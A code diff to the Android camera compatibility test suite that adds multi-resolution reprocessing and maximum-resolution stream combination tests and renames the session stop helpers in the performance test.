+            CameraCharacteristics c = info.getCharacteristics();
+            MandatoryStreamCombination[] combinations = c.get(
+                            CameraCharacteristics.SCALER_MANDATORY_STREAM_COMBINATIONS);
+            if (combinations == null) {
+                Log.i(TAG, "No mandatory stream combinations for camera: " + id + " skip test");
+                continue;
+            }
+            MultiResolutionStreamConfigurationMap multiResolutionMap = c.get(
+                    CameraCharacteristics.SCALER_MULTI_RESOLUTION_STREAM_CONFIGURATION_MAP);
+            if (multiResolutionMap == null) {
+                Log.i(TAG, "Camera " + id + " doesn't support multi-resolution capture.");
+                continue;
+            }
+            int[] multiResolutionInputFormats = multiResolutionMap.getInputFormats();
+            int[] multiResolutionOutputFormats = multiResolutionMap.getOutputFormats();
+            if (multiResolutionInputFormats.length == 0
+                    || multiResolutionOutputFormats.length == 0) {
+                Log.i(TAG, "Camera " + id + " doesn't support multi-resolution reprocess "
+                        + "input/output.");
+                continue;
+            }
+
+            try {
+                openDevice(id);
+                for (MandatoryStreamCombination combination : combinations) {
+                    if (!combination.isReprocessable()) {
+                        continue;
+                    }
+
+                    MandatoryStreamCombination.MandatoryStreamInformation firstStreamInfo =
+                            combination.getStreamsInformation().get(0);
+                    int inputFormat = firstStreamInfo.getFormat();
+                    boolean supportMultiResReprocess = firstStreamInfo.isInput() &&
+                            CameraTestUtils.contains(multiResolutionOutputFormats, inputFormat) &&
+                            CameraTestUtils.contains(multiResolutionInputFormats, inputFormat);
+                    if (!supportMultiResReprocess)  {
+                        continue;
+                    }
+
+                    testMultiResolutionMandatoryStreamCombination(id, info, combination,
+                            multiResolutionMap);
+                }
+            } finally {
+                closeDevice(id);
+            }
+        }
+    }
+
+    private void testMultiResolutionMandatoryStreamCombination(String cameraId,
+            StaticMetadata staticInfo, MandatoryStreamCombination combination,
+            MultiResolutionStreamConfigurationMap multiResStreamConfig) throws Exception {
+        String log = "Testing multi-resolution mandatory stream combination: " +
+                combination.getDescription() + " on camera: " + cameraId;
+        Log.i(TAG, log);
+
+        final int TIMEOUT_FOR_RESULT_MS = 5000;
+        final int NUM_REPROCESS_CAPTURES_PER_CONFIG = 3;
+
+        // Set up outputs
+        List<OutputConfiguration> outputConfigs = new ArrayList<OutputConfiguration>();
+        List<Surface> outputSurfaces = new ArrayList<Surface>();
+        StreamCombinationTargets targets = new StreamCombinationTargets();
+        MultiResolutionImageReader inputReader = null;
+        ImageWriter inputWriter = null;
+        SimpleImageReaderListener inputReaderListener = new SimpleImageReaderListener();
+        SimpleCaptureCallback inputCaptureListener = new SimpleCaptureCallback();
+        SimpleCaptureCallback reprocessOutputCaptureListener = new SimpleCaptureCallback();
+
+        List<MandatoryStreamInformation> streamInfo = combination.getStreamsInformation();
+        assertTrue("Reprocessable stream combinations should have at least 3 or more streams",
+                    (streamInfo != null) && (streamInfo.size() >= 3));
+        assertTrue("The first mandatory stream information in a reprocessable combination must " +
+                "always be input", streamInfo.get(0).isInput());
+
+        int inputFormat = streamInfo.get(0).getFormat();
+
+        CameraTestUtils.setupConfigurationTargets(streamInfo.subList(2, streamInfo.size()),
+                targets, outputConfigs, outputSurfaces, NUM_REPROCESS_CAPTURES_PER_CONFIG,
+                /*substituteY8*/false, /*substituteHeic*/false, /*physicalCameraId*/null,
+                /*ultraHighResolution*/false, multiResStreamConfig, mHandler);
+
+        Collection<MultiResolutionStreamInfo> multiResInputs =
+                multiResStreamConfig.getInputInfo(inputFormat);
+        InputConfiguration inputConfig = new InputConfiguration(multiResInputs, inputFormat);
+
+        try {
+            // For each config, YUV and JPEG outputs will be tested. (For YUV reprocessing,
+            // the YUV ImageReader for input is also used for output.)
+            final boolean inputIsYuv = inputConfig.getFormat() == ImageFormat.YUV_420_888;
+            final boolean useYuv = inputIsYuv || targets.mYuvTargets.size() > 0 ||
+                    targets.mYuvMultiResTargets.size() > 0;
+            final int totalNumReprocessCaptures =  NUM_REPROCESS_CAPTURES_PER_CONFIG * (
+                    (inputIsYuv ? 1 : 0) + targets.mJpegMultiResTargets.size() +
+                    targets.mJpegTargets.size() +
+                    (useYuv ? targets.mYuvMultiResTargets.size() + targets.mYuvTargets.size() : 0));
+
+            // It needs 1 input buffer for each reprocess capture + the number of buffers
+            // that will be used as outputs.
+            inputReader = new MultiResolutionImageReader(multiResInputs, inputFormat,
+                    totalNumReprocessCaptures + NUM_REPROCESS_CAPTURES_PER_CONFIG);
+            inputReader.setOnImageAvailableListener(
+                    inputReaderListener, new HandlerExecutor(mHandler));
+            outputConfigs.addAll(
+                    OutputConfiguration.createInstancesForMultiResolutionOutput(inputReader));
+            outputSurfaces.add(inputReader.getSurface());
+
+            CameraCaptureSession.CaptureCallback mockCaptureCallback =
+                    mock(CameraCaptureSession.CaptureCallback.class);
+
+            checkSessionConfigurationSupported(mCamera, mHandler, outputConfigs,
+                    inputConfig, SessionConfiguration.SESSION_REGULAR,
+                    true/*defaultSupport*/, String.format(
+                    "Session configuration query for multi-res combination: %s failed",
+                    combination.getDescription()));
+
+            // Verify we can create a reprocessable session with the input and all outputs.
+            BlockingSessionCallback sessionListener = new BlockingSessionCallback();
+            CameraCaptureSession session = configureReprocessableCameraSessionWithConfigurations(
+                    mCamera, inputConfig, outputConfigs, sessionListener, mHandler);
+            inputWriter = ImageWriter.newInstance(
+                    session.getInputSurface(), totalNumReprocessCaptures);
+
+            // Prepare a request for reprocess input
+            CaptureRequest.Builder builder =
+                    mCamera.createCaptureRequest(CameraDevice.TEMPLATE_ZERO_SHUTTER_LAG);
+            builder.addTarget(inputReader.getSurface());
+
+            for (int i = 0; i < totalNumReprocessCaptures; i++) {
+                session.capture(builder.build(), inputCaptureListener, mHandler);
+            }
+
+            List<CaptureRequest> reprocessRequests = new ArrayList<>();
+            List<Surface> reprocessOutputs = new ArrayList<>();
+
+            if (inputIsYuv) {
+                reprocessOutputs.add(inputReader.getSurface());
+            }
+            for (MultiResolutionImageReader reader : targets.mJpegMultiResTargets) {
+                reprocessOutputs.add(reader.getSurface());
+            }
+            for (ImageReader reader : targets.mJpegTargets) {
+                reprocessOutputs.add(reader.getSurface());
+            }
+            for (MultiResolutionImageReader reader : targets.mYuvMultiResTargets) {
+                reprocessOutputs.add(reader.getSurface());
+            }
+            for (ImageReader reader : targets.mYuvTargets) {
+                reprocessOutputs.add(reader.getSurface());
+            }
+
+            for (int i = 0; i < NUM_REPROCESS_CAPTURES_PER_CONFIG; i++) {
+                for (Surface output : reprocessOutputs) {
+                    TotalCaptureResult result = inputCaptureListener.getTotalCaptureResult(
+                            TIMEOUT_FOR_RESULT_MS);
+                    Map<String, TotalCaptureResult> physicalResults =
+                            result.getPhysicalCameraTotalResults();
+
+                    String activePhysicalCameraId = result.get(
+                            CaptureResult.LOGICAL_MULTI_CAMERA_ACTIVE_PHYSICAL_ID);
+                    if (activePhysicalCameraId != null) {
+                        result = physicalResults.get(activePhysicalCameraId);
+                    }
+
+                    builder = mCamera.createReprocessCaptureRequest(result);
+                    inputWriter.queueInputImage(
+                            inputReaderListener.getImage(TIMEOUT_FOR_RESULT_MS));
+                    builder.addTarget(output);
+                    reprocessRequests.add(builder.build());
+                }
+            }
+
+            session.captureBurst(reprocessRequests, reprocessOutputCaptureListener, mHandler);
+
+            for (int i = 0; i < reprocessOutputs.size() * NUM_REPROCESS_CAPTURES_PER_CONFIG; i++) {
+                TotalCaptureResult result = reprocessOutputCaptureListener.getTotalCaptureResult(
+                        TIMEOUT_FOR_RESULT_MS);
+            }
+        } catch (Throwable e) {
+            mCollector.addMessage(
+                    String.format("Mandatory multi-res stream combination: %s failed due: %s",
+                    combination.getDescription(), e.getMessage()));
+        } finally {
+            inputReaderListener.drain();
+            reprocessOutputCaptureListener.drain();
+            targets.close();
+
+            if (inputReader != null) {
+                inputReader.close();
+            }
+
+            if (inputWriter != null) {
+                inputWriter.close();
+            }
+        }
+    }
+
+    /**
+     * Test multi-resolution reprocessing from the input format to the output format
+     */
+    private void testMultiResolutionReprocessing(String cameraId, int inputFormat,
+            int outputFormat) throws Exception {
+        if (VERBOSE) {
+            Log.v(TAG, "testMultiResolutionReprocessing: cameraId: " + cameraId + " inputFormat: "
+                    + inputFormat + " outputFormat: " + outputFormat);
+        }
+
+        Collection<MultiResolutionStreamInfo> inputStreamInfo =
+                getMultiResReprocessInfo(cameraId, inputFormat, /*input*/ true);
+        Collection<MultiResolutionStreamInfo> regularOutputStreamInfo =
+                getMultiResReprocessInfo(cameraId, inputFormat, /*input*/ false);
+        Collection<MultiResolutionStreamInfo> reprocessOutputStreamInfo =
+                getMultiResReprocessInfo(cameraId, outputFormat, /*input*/ false);
+        if (inputStreamInfo == null || regularOutputStreamInfo == null ||
+                reprocessOutputStreamInfo == null) {
+            return;
+        }
+        assertTrue("The multi-resolution stream info for format " + inputFormat
+                + " must be equal between input and output",
+                inputStreamInfo.containsAll(regularOutputStreamInfo)
+                && regularOutputStreamInfo.containsAll(inputStreamInfo));
+
+        try {
+            openDevice(cameraId);
+
+            testMultiResolutionReprocessWithStreamInfo(cameraId, inputFormat, inputStreamInfo,
+                    outputFormat, reprocessOutputStreamInfo);
+        } finally {
+            closeDevice(cameraId);
+        }
+    }
+
+    /**
+     * Test multi-resolution reprocess with multi-resolution stream info lists for a particular
+     * format combination.
+     */
+    private void testMultiResolutionReprocessWithStreamInfo(String cameraId,
+            int inputFormat, Collection<MultiResolutionStreamInfo> inputInfo,
+            int outputFormat, Collection<MultiResolutionStreamInfo> outputInfo)
+            throws Exception {
+        try {
+            setupMultiResImageReaders(inputFormat, inputInfo, outputFormat, outputInfo,
+                    /*maxImages*/1);
+            setupReprocessableSession(inputFormat, inputInfo, outputInfo,
+                    /*numImageWriterImages*/1);
+
+            List<Float> zoomRatioList = CameraTestUtils.getCandidateZoomRatios(mStaticInfo);
+            for (Float zoomRatio :  zoomRatioList) {
+                ImageResultSizeHolder imageResultSizeHolder = null;
+
+                try {
+                    imageResultSizeHolder = doMultiResReprocessCapture(zoomRatio);
+                    Image reprocessedImage = imageResultSizeHolder.getImage();
+                    Size outputSize = imageResultSizeHolder.getExpectedSize();
+                    TotalCaptureResult result = imageResultSizeHolder.getTotalCaptureResult();
+
+                    mCollector.expectImageProperties("testMultiResolutionReprocess",
+                            reprocessedImage, outputFormat, outputSize,
+                            result.get(CaptureResult.SENSOR_TIMESTAMP));
+
+                    if (DEBUG) {
+                        Log.d(TAG, String.format("camera %s %d zoom %f out %dx%d %d",
+                                cameraId, inputFormat, zoomRatio,
+                                outputSize.getWidth(), outputSize.getHeight(),
+                                outputFormat));
+
+                        dumpImage(reprocessedImage,
+                                "/testMultiResolutionReprocess_camera" + cameraId
+                                + "_" + mDumpFrameCount);
+                        mDumpFrameCount++;
+                    }
+                } finally {
+                    if (imageResultSizeHolder != null) {
+                        imageResultSizeHolder.getImage().close();
+                    }
+                }
+            }
+        } finally {
+            closeReprossibleSession();
+            closeMultiResImageReaders();
+        }
+    }
+
+    /**
+     * Set up multi-resolution image readers for regular and reprocess output
+     *
+     * <p>If the reprocess input format is equal to output format, share one multi-resolution
+     * image reader.</p>
+     */
+    private void setupMultiResImageReaders(int inputFormat,
+            Collection<MultiResolutionStreamInfo> inputInfo, int outputFormat,
+            Collection<MultiResolutionStreamInfo> outputInfo, int maxImages) {
+
+        mShareOneReader = false;
+        // If the regular output and reprocess output have the same format,
+        // they can share one MultiResolutionImageReader.
+        if (inputFormat == outputFormat) {
+            maxImages *= 2;
+            mShareOneReader = true;
+        }
+
+        // create an MultiResolutionImageReader for the regular capture
+        mMultiResImageReader = new MultiResolutionImageReader(inputInfo,
+                inputFormat, maxImages);
+        mMultiResImageReaderListener = new SimpleMultiResolutionImageReaderListener(
+                mMultiResImageReader, 1, /*repeating*/false);
+        mMultiResImageReader.setOnImageAvailableListener(mMultiResImageReaderListener,
+                new HandlerExecutor(mHandler));
+
+        if (!mShareOneReader) {
+            // create an MultiResolutionImageReader for the reprocess capture
+            mSecondMultiResImageReader = new MultiResolutionImageReader(
+                    outputInfo, outputFormat, maxImages);
+            mSecondMultiResImageReaderListener = new SimpleMultiResolutionImageReaderListener(
+                    mSecondMultiResImageReader, maxImages, /*repeating*/ false);
+            mSecondMultiResImageReader.setOnImageAvailableListener(
+                    mSecondMultiResImageReaderListener, new HandlerExecutor(mHandler));
+        }
+    }
+
+    /**
+     * Close two multi-resolution image readers.
+     */
+    private void closeMultiResImageReaders() {
+        mMultiResImageReader.close();
+        mMultiResImageReader = null;
+
+        if (!mShareOneReader) {
+            mSecondMultiResImageReader.close();
+            mSecondMultiResImageReader = null;
+        }
+    }
+
+    /**
+     * Get the MultiResolutionImageReader for reprocess output.
+     */
+    private MultiResolutionImageReader getOutputMultiResImageReader() {
+        if (mShareOneReader) {
+            return mMultiResImageReader;
+        } else {
+            return mSecondMultiResImageReader;
+        }
+    }
+
+    /**
+     * Get the MultiResolutionImageReaderListener for reprocess output.
+     */
+    private SimpleMultiResolutionImageReaderListener getOutputMultiResImageReaderListener() {
+        if (mShareOneReader) {
+            return mMultiResImageReaderListener;
+        } else {
+            return mSecondMultiResImageReaderListener;
+        }
+    }
+
+    /**
+     * Set up a reprocessable session and create an ImageWriter with the session's input surface.
+     */
+    private void setupReprocessableSession(int inputFormat,
+            Collection<MultiResolutionStreamInfo> inputInfo,
+            Collection<MultiResolutionStreamInfo> outputInfo,
+            int numImageWriterImages) throws Exception {
+        // create a reprocessable capture session
+        Collection<OutputConfiguration> outConfigs =
+                OutputConfiguration.createInstancesForMultiResolutionOutput(
+                        mMultiResImageReader);
+        ArrayList<OutputConfiguration> outputConfigsList = new ArrayList<OutputConfiguration>(
+                outConfigs);
+
+        if (!mShareOneReader) {
+            Collection<OutputConfiguration> secondOutputConfigs =
+                    OutputConfiguration.createInstancesForMultiResolutionOutput(
+                            mSecondMultiResImageReader);
+            outputConfigsList.addAll(secondOutputConfigs);
+        }
+
+        InputConfiguration inputConfig = new InputConfiguration(inputInfo, inputFormat);
+        if (VERBOSE) {
+            String inputConfigString = inputConfig.toString();
+            Log.v(TAG, "InputConfiguration: " + inputConfigString);
+        }
+
+        mCameraSessionListener = new BlockingSessionCallback();
+        mCameraSession = configureReprocessableCameraSessionWithConfigurations(
+                mCamera, inputConfig, outputConfigsList, mCameraSessionListener, mHandler);
+
+        // create an ImageWriter
+        mInputSurface = mCameraSession.getInputSurface();
+        mImageWriter = ImageWriter.newInstance(mInputSurface,
+                numImageWriterImages);
+
+        mImageWriterListener = new SimpleImageWriterListener(mImageWriter);
+        mImageWriter.setOnImageReleasedListener(mImageWriterListener, mHandler);
+    }
+
+    /**
+     * Close the reprocessable session and ImageWriter.
+     */
+    private void closeReprossibleSession() {
+        mInputSurface = null;
+
+        if (mCameraSession != null) {
+            mCameraSession.close();
+            mCameraSession = null;
+        }
+
+        if (mImageWriter != null) {
+            mImageWriter.close();
+            mImageWriter = null;
+        }
+    }
+
+    /**
+     * Do one multi-resolution reprocess capture for the specified zoom ratio
+     */
+    private ImageResultSizeHolder doMultiResReprocessCapture(float zoomRatio) throws Exception {
+        // submit a regular capture and get the result
+        TotalCaptureResult totalResult = submitCaptureRequest(
+                zoomRatio, mMultiResImageReader.getSurface(), /*inputResult*/null);
+        Map<String, TotalCaptureResult> physicalResults =
+                totalResult.getPhysicalCameraTotalResults();
+
+        ImageAndMultiResStreamInfo inputImageAndInfo =
+                mMultiResImageReaderListener.getAnyImageAndInfoAvailable(CAPTURE_TIMEOUT_MS);
+        assertNotNull("Failed to capture input image", inputImageAndInfo);
+        Image inputImage = inputImageAndInfo.image;
+        MultiResolutionStreamInfo inputStreamInfo = inputImageAndInfo.streamInfo;
+        TotalCaptureResult inputSettings =
+                physicalResults.get(inputStreamInfo.getPhysicalCameraId());
+        assertTrue("Regular capture's TotalCaptureResult doesn't contain capture result for "
+                + "physical camera id " + inputStreamInfo.getPhysicalCameraId(),
+                inputSettings != null);
+
+        // Submit a reprocess capture and get the result
+        mImageWriter.queueInputImage(inputImage);
+
+        TotalCaptureResult finalResult = submitCaptureRequest(zoomRatio,
+                getOutputMultiResImageReader().getSurface(), inputSettings);
+
+        ImageAndMultiResStreamInfo outputImageAndInfo =
+                getOutputMultiResImageReaderListener().getAnyImageAndInfoAvailable(
+                CAPTURE_TIMEOUT_MS);
+        Image outputImage = outputImageAndInfo.image;
+        MultiResolutionStreamInfo outputStreamInfo = outputImageAndInfo.streamInfo;
+
+        assertTrue("The regular output and reprocess output's stream info must be the same",
+                outputStreamInfo.equals(inputStreamInfo));
+
+        ImageResultSizeHolder holder = new ImageResultSizeHolder(outputImageAndInfo.image,
+                finalResult, new Size(outputStreamInfo.getWidth(), outputStreamInfo.getHeight()));
+
+        return holder;
+    }
+
+    /**
+     * Issue a capture request and return the result for a particular zoom ratio.
+     *
+     * <p>If inputResult is null, it's a regular request. Otherwise, it's a reprocess request.</p>
+     */
+    private TotalCaptureResult submitCaptureRequest(float zoomRatio,
+            Surface output, TotalCaptureResult inputResult) throws Exception {
+
+        SimpleCaptureCallback captureCallback = new SimpleCaptureCallback();
+
+        // Prepare a list of capture requests. Whether it's a regular or reprocess capture request
+        // is based on inputResult.
+        CaptureRequest.Builder builder;
+        boolean isReprocess = (inputResult != null);
+        if (isReprocess) {
+            builder = mCamera.createReprocessCaptureRequest(inputResult);
+        } else {
+            builder = mCamera.createCaptureRequest(CAPTURE_TEMPLATE);
+            builder.set(CaptureRequest.CONTROL_ZOOM_RATIO, zoomRatio);
+        }
+        builder.addTarget(output);
+        CaptureRequest request = builder.build();
+        assertTrue("Capture request reprocess type " + request.isReprocess() + " is wrong.",
+            request.isReprocess() == isReprocess);
+
+        mCameraSession.capture(request, captureCallback, mHandler);
+
+        TotalCaptureResult result = captureCallback.getTotalCaptureResultForRequest(
+                request, CAPTURE_TIMEOUT_FRAMES);
+
+        // make sure all input surfaces are released.
+        if (isReprocess) {
+            mImageWriterListener.waitForImageReleased(CAPTURE_TIMEOUT_MS);
+        }
+
+        return result;
+    }
+
+    private Size getMaxSize(int format, StaticMetadata.StreamDirection direction) {
+        Size[] sizes = mStaticInfo.getAvailableSizesForFormatChecked(format, direction);
+        return getAscendingOrderSizes(Arrays.asList(sizes), /*ascending*/false).get(0);
+    }
+
+    private Collection<MultiResolutionStreamInfo> getMultiResReprocessInfo(String cameraId,
+            int format, boolean input) throws Exception {
+        StaticMetadata staticInfo = mAllStaticInfo.get(cameraId);
+        CameraCharacteristics characteristics = staticInfo.getCharacteristics();
+        MultiResolutionStreamConfigurationMap configs = characteristics.get(
+                CameraCharacteristics.SCALER_MULTI_RESOLUTION_STREAM_CONFIGURATION_MAP);
+        if (configs == null) {
+            Log.i(TAG, "Camera " + cameraId + " doesn't support multi-resolution streams");
+            return null;
+        }
+
+        String streamType = input ? "input" : "output";
+        int[] formats = input ? configs.getInputFormats() :
+                configs.getOutputFormats();
+        if (!CameraTestUtils.contains(formats, format)) {
+            Log.i(TAG, "Camera " + cameraId + " doesn't support multi-resolution "
+                    + streamType + " stream for format " + format + ". Supported formats are "
+                    + Arrays.toString(formats));
+            return null;
+        }
+        Collection<MultiResolutionStreamInfo> streams =
+                input ? configs.getInputInfo(format) : configs.getOutputInfo(format);
+        mCollector.expectTrue(String.format("Camera %s supported 0 multi-resolution "
+                + streamType + " stream info, expected at least 1", cameraId),
+                streams.size() > 0);
+
+        return streams;
+    }
+
+    private void dumpImage(Image image, String name) {
+        String filename = mDebugFileNameBase + name;
+        switch(image.getFormat()) {
+            case ImageFormat.JPEG:
+                filename += ".jpg";
+                break;
+            case ImageFormat.YUV_420_888:
+                filename += ".yuv";
+                break;
+            default:
+                filename += "." + image.getFormat();
+                break;
+        }
+
+        Log.d(TAG, "dumping an image to " + filename);
+        dumpFile(filename , getDataFromImage(image));
+    }
+
+    /**
+     * A class that holds an Image, a TotalCaptureResult, and expected image size.
+     */
+    public static class ImageResultSizeHolder {
+        private final Image mImage;
+        private final TotalCaptureResult mResult;
+        private final Size mExpectedSize;
+
+        public ImageResultSizeHolder(Image image, TotalCaptureResult result, Size expectedSize) {
+            mImage = image;
+            mResult = result;
+            mExpectedSize = expectedSize;
+        }
+
+        public Image getImage() {
+            return mImage;
+        }
+
+        public TotalCaptureResult getTotalCaptureResult() {
+            return mResult;
+        }
+
+        public Size getExpectedSize() {
+            return mExpectedSize;
+        }
+    }
+
+}
diff --git a/tests/camera/src/android/hardware/camera2/cts/MultiViewTest.java b/tests/camera/src/android/hardware/camera2/cts/MultiViewTest.java
index b13484f..6428896 100644
--- a/tests/camera/src/android/hardware/camera2/cts/MultiViewTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/MultiViewTest.java
@@ -17,6 +17,7 @@
 package android.hardware.camera2.cts;
 
 import static android.hardware.camera2.cts.CameraTestUtils.*;
+import static android.hardware.cts.helpers.CameraUtils.*;
 
 import android.graphics.Bitmap;
 import android.graphics.ImageFormat;
diff --git a/tests/camera/src/android/hardware/camera2/cts/PerformanceTest.java b/tests/camera/src/android/hardware/camera2/cts/PerformanceTest.java
index b7b5061..48f6d32 100644
--- a/tests/camera/src/android/hardware/camera2/cts/PerformanceTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/PerformanceTest.java
@@ -200,7 +200,7 @@
 
                         // Blocking stop preview
                         startTimeMs = SystemClock.elapsedRealtime();
-                        blockingStopPreview();
+                        blockingStopRepeating();
                         stopPreviewTimes[i] = SystemClock.elapsedRealtime() - startTimeMs;
                     }
                     finally {
@@ -433,7 +433,7 @@
                     CameraTestUtils.waitForNumResults(previewResultListener, NUM_RESULTS_WAIT,
                             WAIT_FOR_RESULT_TIMEOUT_MS);
 
-                    stopPreviewAndDrain();
+                    blockingStopRepeating();
 
                     CameraTestUtils.closeImageReaders(readers);
                     readers = null;
@@ -655,7 +655,7 @@
                     CameraTestUtils.waitForNumResults(previewResultListener, NUM_RESULTS_WAIT,
                             WAIT_FOR_RESULT_TIMEOUT_MS);
 
-                    stopPreview();
+                    stopRepeating();
                 }
 
                 for (int i = 0; i < getResultTimes.length; i++) {
@@ -929,7 +929,7 @@
             maxCaptureGapsMs[i] = maxTimestampGapMs;
         }
 
-        stopZslStreaming();
+        blockingStopRepeating();
 
         String reprocessType = "YUV reprocessing";
         if (reprocessInputFormat == ImageFormat.PRIVATE) {
@@ -1026,7 +1026,7 @@
             }
         }
 
-        stopZslStreaming();
+        blockingStopRepeating();
 
         String reprocessType = "YUV reprocessing";
         if (reprocessInputFormat == ImageFormat.PRIVATE) {
@@ -1076,12 +1076,6 @@
                 zslBuilder.build(), mZslResultListener, mTestRule.getHandler());
     }
 
-    private void stopZslStreaming() throws Exception {
-        mTestRule.getCameraSession().stopRepeating();
-        mTestRule.getCameraSessionListener().getStateWaiter().waitForState(
-                BlockingSessionCallback.SESSION_READY, CameraTestUtils.CAMERA_IDLE_TIMEOUT_MS);
-    }
-
     /**
      * Wait for a certain number of frames, the images and results will be drained from the
      * listeners to make sure that next reprocessing can get matched results and images.
@@ -1154,10 +1148,14 @@
                 /*listener*/null, /*handler*/null);
     }
 
-    private void blockingStopPreview() throws Exception {
-        stopPreview();
+    /**
+     * Stop repeating requests for current camera and waiting for it to go back to idle, resulting
+     * in an idle device.
+     */
+    private void blockingStopRepeating() throws Exception {
+        stopRepeating();
         mTestRule.getCameraSessionListener().getStateWaiter().waitForState(
-                BlockingSessionCallback.SESSION_CLOSED, CameraTestUtils.SESSION_CLOSE_TIMEOUT_MS);
+                BlockingSessionCallback.SESSION_READY, CameraTestUtils.CAMERA_IDLE_TIMEOUT_MS);
     }
 
     private void blockingStartPreview(String id, CaptureCallback listener,
@@ -1377,29 +1375,14 @@
     }
 
     /**
-     * Stop preview for current camera device by closing the session.
+     * Stop the repeating requests of current camera.
      * Does _not_ wait for the device to go idle
      */
-    private void stopPreview() throws Exception {
+    private void stopRepeating() throws Exception {
         // Stop repeat, wait for captures to complete, and disconnect from surfaces
         if (mTestRule.getCameraSession() != null) {
             if (VERBOSE) Log.v(TAG, "Stopping preview");
-            mTestRule.getCameraSession().close();
-        }
-    }
-
-    /**
-     * Stop preview for current camera device by closing the session and waiting for it to close,
-     * resulting in an idle device.
-     */
-    private void stopPreviewAndDrain() throws Exception {
-        // Stop repeat, wait for captures to complete, and disconnect from surfaces
-        if (mTestRule.getCameraSession() != null) {
-            if (VERBOSE) Log.v(TAG, "Stopping preview and waiting for idle");
-            mTestRule.getCameraSession().close();
-            mTestRule.getCameraSessionListener().getStateWaiter().waitForState(
-                    BlockingSessionCallback.SESSION_CLOSED,
-                    /*timeoutMs*/WAIT_FOR_RESULT_TIMEOUT_MS);
+            mTestRule.getCameraSession().stopRepeating();
         }
     }
 
diff --git a/tests/camera/src/android/hardware/camera2/cts/RobustnessTest.java b/tests/camera/src/android/hardware/camera2/cts/RobustnessTest.java
index 615dc28..f1b2244 100644
--- a/tests/camera/src/android/hardware/camera2/cts/RobustnessTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/RobustnessTest.java
@@ -26,6 +26,7 @@
 import android.hardware.camera2.CameraCharacteristics;
 import android.hardware.camera2.CameraDevice;
 import android.hardware.camera2.CameraManager;
+import android.hardware.camera2.CameraMetadata;
 import android.hardware.camera2.CaptureRequest;
 import android.hardware.camera2.CaptureResult;
 import android.hardware.camera2.TotalCaptureResult;
@@ -176,6 +177,13 @@
      */
     @Test
     public void testMandatoryOutputCombinations() throws Exception {
+        testMandatoryOutputCombinations(/*maxResolution*/false);
+    }
+
+    /**
+     * Test for making sure the mandatory stream combinations work as expected.
+     */
+    private void testMandatoryOutputCombinations(boolean maxResolution) throws Exception {
         final int AVAILABILITY_TIMEOUT_MS = 10;
         final LinkedBlockingQueue<Pair<String, String>> unavailablePhysicalCamEventQueue =
                 new LinkedBlockingQueue<>();
@@ -198,14 +206,20 @@
                 java.util.concurrent.TimeUnit.MILLISECONDS);
         }
         mCameraManager.unregisterAvailabilityCallback(ac);
+        CameraCharacteristics.Key<MandatoryStreamCombination []> ck =
+                CameraCharacteristics.SCALER_MANDATORY_STREAM_COMBINATIONS;
 
+        if (maxResolution) {
+            ck = CameraCharacteristics.SCALER_MANDATORY_MAXIMUM_RESOLUTION_STREAM_COMBINATIONS;
+        }
         for (String id : mCameraIdsUnderTest) {
             openDevice(id);
-            MandatoryStreamCombination[] combinations =
-                    mStaticInfo.getCharacteristics().get(
-                            CameraCharacteristics.SCALER_MANDATORY_STREAM_COMBINATIONS);
+            MandatoryStreamCombination[] combinations = mStaticInfo.getCharacteristics().get(ck);
+
             if (combinations == null) {
-                Log.i(TAG, "No mandatory stream combinations for camera: " + id + " skip test");
+                String maxResolutionStr = maxResolution ? " " : " maximum resolution ";
+                Log.i(TAG, "No mandatory" + maxResolutionStr + "stream combinations for camera: " +
+                        id + " skip test");
                 closeDevice(id);
                 continue;
             }
@@ -213,8 +227,14 @@
             try {
                 for (MandatoryStreamCombination combination : combinations) {
                     if (!combination.isReprocessable()) {
-                        testMandatoryStreamCombination(id, mStaticInfo,
-                                null/*physicalCameraId*/, combination);
+                        if (maxResolution) {
+                            testMandatoryStreamCombination(id, mStaticInfo,
+                                    /*physicalCameraId*/ null, combination, /*substituteY8*/false,
+                                    /*substituteHeic*/false, /*maxResolution*/true);
+                        } else {
+                            testMandatoryStreamCombination(id, mStaticInfo,
+                                    null/*physicalCameraId*/, combination);
+                        }
                     }
                 }
 
@@ -237,9 +257,9 @@
                             }
                         }
                         StaticMetadata physicalStaticInfo = mAllStaticInfo.get(physicalId);
+
                         MandatoryStreamCombination[] phyCombinations =
-                                physicalStaticInfo.getCharacteristics().get(
-                                        CameraCharacteristics.SCALER_MANDATORY_STREAM_COMBINATIONS);
+                                physicalStaticInfo.getCharacteristics().get(ck);
 
                         if (phyCombinations == null) {
                             Log.i(TAG, "No mandatory stream combinations for physical camera device: " + id + " skip test");
@@ -248,8 +268,15 @@
 
                         for (MandatoryStreamCombination combination : phyCombinations) {
                             if (!combination.isReprocessable()) {
-                                testMandatoryStreamCombination(id, physicalStaticInfo,
-                                        physicalId, combination);
+                                if (maxResolution) {
+                                    testMandatoryStreamCombination(id, physicalStaticInfo,
+                                        physicalId, combination, /*substituteY8*/false,
+                                        /*substituteHeic*/false, /*maxResolution*/true);
+
+                                } else {
+                                    testMandatoryStreamCombination(id, physicalStaticInfo,
+                                            physicalId, combination);
+                                }
                             }
                         }
                     }
@@ -261,6 +288,15 @@
         }
     }
 
+
+    /**
+     * Test for making sure the mandatory stream combinations work as expected.
+     */
+    @Test
+    public void testMandatoryMaximumResolutionOutputCombinations() throws Exception {
+        testMandatoryOutputCombinations(/*maxResolution*/ true);
+    }
+
     private void testMandatoryStreamCombination(String cameraId, StaticMetadata staticInfo,
             String physicalCameraId, MandatoryStreamCombination combination) throws Exception {
         // Check whether substituting YUV_888 format with Y8 format
@@ -295,54 +331,57 @@
         }
         Log.i(TAG, log);
         testMandatoryStreamCombination(cameraId, staticInfo, physicalCameraId, combination,
-                /*substituteY8*/false, /*substituteHeic*/false);
+                /*substituteY8*/false, /*substituteHeic*/false, /*maxResolution*/false);
 
         if (substituteY8) {
             Log.i(TAG, log + " with Y8");
             testMandatoryStreamCombination(cameraId, staticInfo, physicalCameraId, combination,
-                    /*substituteY8*/true, /*substituteHeic*/false);
+                    /*substituteY8*/true, /*substituteHeic*/false, /*maxResolution*/false);
         }
 
         if (substituteHeic) {
             Log.i(TAG, log + " with HEIC");
             testMandatoryStreamCombination(cameraId, staticInfo, physicalCameraId, combination,
-                    /*substituteY8*/false, /*substituteHeic*/true);
+                    /*substituteY8*/false, /*substituteHeic*/true, /**maxResolution*/ false);
         }
     }
 
     private void testMandatoryStreamCombination(String cameraId,
             StaticMetadata staticInfo, String physicalCameraId,
             MandatoryStreamCombination combination,
